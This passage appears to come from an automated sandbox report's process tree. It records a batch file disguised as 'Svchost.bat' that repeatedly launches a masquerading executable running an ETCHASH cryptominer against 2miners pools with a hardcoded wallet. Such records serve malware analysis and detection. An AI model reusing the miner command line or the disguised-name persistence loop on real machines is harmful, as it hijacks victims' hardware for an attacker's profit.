      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7020
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8572
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1800
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4300
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2708
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7292
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1712
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3852
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2788
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5176
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1344
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7540
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1344
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2916
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5944
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7684
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9008
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7280
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1720
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7104
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8488
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8608
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3436
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4256
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7668
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7920
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7696
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7800
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7676
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5272
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1324
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6248
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8732
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4960
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3148
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8768
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1716
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7172
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10020
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5276
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:9268
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:2624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:2368
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10164
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8780
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9724
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:9856
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9420
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5624
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
